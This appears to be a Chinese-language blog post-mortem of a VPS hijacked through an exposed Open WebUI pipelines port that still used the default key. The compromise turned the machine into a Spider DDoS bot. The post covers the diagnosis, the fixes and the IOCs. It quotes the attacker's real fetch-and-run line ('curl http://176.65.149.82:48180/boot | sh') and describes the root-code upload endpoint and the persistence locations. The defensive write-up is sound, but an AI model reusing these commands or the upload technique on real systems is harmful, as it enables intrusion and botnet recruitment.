Skip to content
Go back

一台 VPS 两天跑掉 500GB:Open WebUI pipelines 被植入 DDoS 僵尸网复盘

Edit page
结论先说:这本质上是对开源项目的信任问题——别把项目的默认配置(默认 key、默认绑定 0.0.0.0)原样跑在公网上。默认值写在公开 README 里,扫描器早就内置了。
马上自查:如果你也在跑 Open WebUI pipelines,现在就执行 ss -ltnp | grep 9099,看它是不是监听在 0.0.0.0;再确认 key 不是默认的 0p3n-w3bu!。

我一台 VPS 的 pipelines 端口对公网开着,用的还是默认 key,结果被人塞进一个 DDoS 木马,两天就把一个月的流量额度打光了。下面是排查经过、根因和修复清单。

症状:流量费突然涨了

机器带宽 15Mbps,每月 500GB 流量。10 月 20 日晚上我发现它连不上了。服务商面板上的流量是这样的:

日期发送接收
第 0 天约 1.5GB(合计)—
第 1 天约 188GB很少
第 2 天307.68GB0.04GB

当月 500GB 额度用完后,服务商直接停了机。我另买了一个 200GB 流量包,机器才重新开起来。

第一轮排查:什么都没看到

我让 AI 助手通过 SSH 登上去查。第一轮结果是"看不出流量去了哪":

  • 机器上从没装过 vnstat 这类流量统计,没有按天、按小时的数据。
  • 代理服务的访问日志是关的。
  • nginx 每天只发出去 2MB 左右,邮件服务一封外发都没有。
  • 机器停机重启后,网卡计数器清零了,实时状态非常干净。

唯一的线索是系统日志在 17:22(美东时间)戛然而止,没有任何关机记录,22:08 才重新开机。后来查到,这正是额度用完被停机的时刻。

关键转折:流量是单向的

一开始我怀疑代理配置泄露、被别人拿去用。但面板上的数字否掉了这个猜测:代理转发流量,收进来多少就发出去多少,收发应该差不多对等。307GB 发、0.04GB 收,说明是这台机器自己在往外打包,最常见的就是被当成肉鸡发 DDoS。

顺着这个方向再看内核日志:从 20 日 14:40(美东)开始,内核不断报 nf_conntrack: table full, dropping packet。连接跟踪表被撑满,正是大量外发连接的典型迹象。

还有个数字对不上:15Mbps 一天最多发约 160GB,307GB 要持续 28Mbps 左右。估计是线路实际限速比标称宽松。

根因:pipelines 端口 + 默认 key = 远程 root 执行

机器上跑着 Open WebUI 和它配套的 pipelines 服务。pipelines 的 9099 端口通过 docker -p 9099:9099 发布到了 0.0.0.0,API key 还是项目公开的默认值 0p3n-w3bu!。

pipelines 有个接口 POST /v1/pipelines/upload,上传一个 Python 文件,它会立刻 import 执行。容器内是 root。所以知道默认 key 的任何人,都能在这个容器里以 root 跑任意代码。

注意:docker -p 发布的端口会直接写 iptables 规则,绕过 ufw。你以为防火墙挡住了,其实没有。

攻击过程

  1. 攻击者从 94.154.43.7 向 9099 上传 Python 脚本,前后 4 次。每次上传后约 5 秒再调用删除接口,把 pipeline 删掉。
  2. 脚本里是一段 base64 编码的命令:把 curl / wget 复制到隐藏目录 /tmp/.ppb,再执行 curl http://176.65.149.82:48180/boot | sh。
  3. 第二阶段脚本把木马装成 /usr/bin/kworker,冒充内核线程名。
  4. 持久化三件套:/etc/cron.d 每 5 分钟拉起一次、/etc/init.d 的 S99 开机脚本、/etc/profile.d 登录钩子。
  5. 最后把真正的 curl 和 chattr 改成 chmod 000,防止别人用它们下载清理工具或解除文件锁。
牧师在机房向服务器洒圣水,驱赶冒充内核线程的红色小恶魔和代表 cron、开机脚本的幽灵
木马和它的持久化三件套:清理时得一个个“驱”干净。

木马本身

样本是一个 396KB 的静态链接 x86-64 程序,环境变量里带 SPIDER_NAME=psiphon,属于叫 Spider 的 DDoS 僵尸网络家族。拆开能看到的能力:

  • HTTP / HTTP2 洪水
  • SIP / UDP 洪水
  • TCP SYN、ACK、PSH 洪水
  • 远程 shell
  • 带宽测试(大概用来给僵尸网络里的机器"测速定价")

它没有挖矿、没有窃密模块,主要就是拿我的带宽去打别人。

证据从哪来

攻击者删了上传的脚本,但留下了两样东西:

  • __pycache__ 残留:Python import 时生成的 .pyc 没被删,反编译就能还原脚本内容。
  • 容器日志:pipelines 打印了每次上传、加载、删除,以及执行时的 uid=0 输出。

翻容器日志还发现,这个端口从几个月前起就陆续有人来试,不止一伙:有直接用公开 PoC 脚本的,也有把恶意代码起名叫 legit_pipeline.py 的。只是之前那几次没留下持续运行的东西,这次的 Spider 才把流量打爆。

时间线(美东时间 EDT)

  1. 数月前起9099 端口陆续被多个来源尝试利用。
  2. 10-19 08:36 – 09:4794.154.43.7 上传并删除恶意 pipeline 共 4 次。
  3. 10-19 09:47Spider 木马落地为 /usr/bin/kworker,出站流量开始暴涨。
  4. 10-20 14:40内核开始报 nf_conntrack: table full。
  5. 10-20 17:22月度 500GB 额度耗尽,服务商停机。
  6. 10-20 22:08我买了 200GB 流量包,机器重新开机。重启后容器只启动了服务本身,木马的 cron 没被执行,所以没再跑起来。
  7. 10-21排查定位、留证、清理、加固。

影响评估

  • 没有逃逸到主机:容器不是 privileged,没挂 docker.sock。主机上没有新增 SSH key,几个月来也没有成功的密码登录。
  • 没有泄露密钥:pipelines 容器里没存任何 API key。环境变量里的 GPG_KEY 是 Python 官方镜像自带的公开签名公钥 ID,不是秘密。
  • 没有横向移动:其他服务在别的 Docker 网络里;Open WebUI 也没收到过来自 pipelines 容器的异常请求。
  • 附带发现:Open WebUI 开着公开注册,攒了 119 个待审核的陌生账号,有随机邮箱,也有 [email protected] 这种扫描器账号,还有本次攻击者的 IP。都没被批准,没有任何权限。

真正的损失是流量费,以及我的机器被拿去打了别人两天。

修复

  1. 留证据:先 docker export 导出整个容器文件系统,连同日志一起存档,再动手清理。
  2. 停服务:pipelines 容器删掉、用干净镜像重建后,我觉得 Open WebUI 也用不上了,干脆整个 docker compose down,数据留着。
  3. 收端口:9099 改绑 127.0.0.1,换成 64 位随机 key。
  4. Postgres 5432:之前也发布在 0.0.0.0,而且根本没服务在用。在 DOCKER-USER 链里加规则挡掉外网访问(这条链 Docker 不会覆盖)。
  5. 代理端口:发现另一个代理端口是个开着 allow-lan: true、不要密码的公开代理,改成 allow-lan: false。
  6. 可观测性:装上 vnstat 和 sysstat,打开代理访问日志。下次流量再异常,至少能知道是哪个时段、哪个连接。

教训清单

  • 能执行代码的、管理后台、数据库端口,永远不要发布到 0.0.0.0。-p 127.0.0.1:9099:9099 多打几个字而已。
  • 项目自带的默认 key / 密码,部署第一件事就换掉。它们写在公开 README 里,扫描器早就内置了。
  • docker -p 绕过 ufw。要限制,写到 DOCKER-USER 链。
  • 机器上要有流量统计,服务商那边要开额度告警。这次我是看到账单才知道。
  • 出了问题先查服务商面板或 API。按天的收发数据一眼就能看出方向,比在机器上翻日志快得多。
  • 出站远大于入站,基本就是机器在往外打流量,先找外发进程,别先怀疑代理被蹭。

IOC

类型值
攻击来源 / 上传94.154.43.7
下载服务器176.65.149.82:48180(/boot)
相关 IP(注册扫描)176.65.149.237
相关 IP43.156.213.200
样本 SHA-2562f257346ddbdd3271133552f67427f8fe11fd0509b86ced4d665d72aa39b4887
落地路径/usr/bin/kworker、/tmp/.ppb
标记SPIDER_NAME=psiphon

如果你也在跑 Open WebUI pipelines,可以现在就检查一下:ss -ltnp | grep 9099,看它是不是监听在 0.0.0.0;再确认 key 不是 0p3n-w3bu!。


Edit page
Share this post on:

Next Post
Claude Code 的 spawn_task 和 show_widget 是做什么的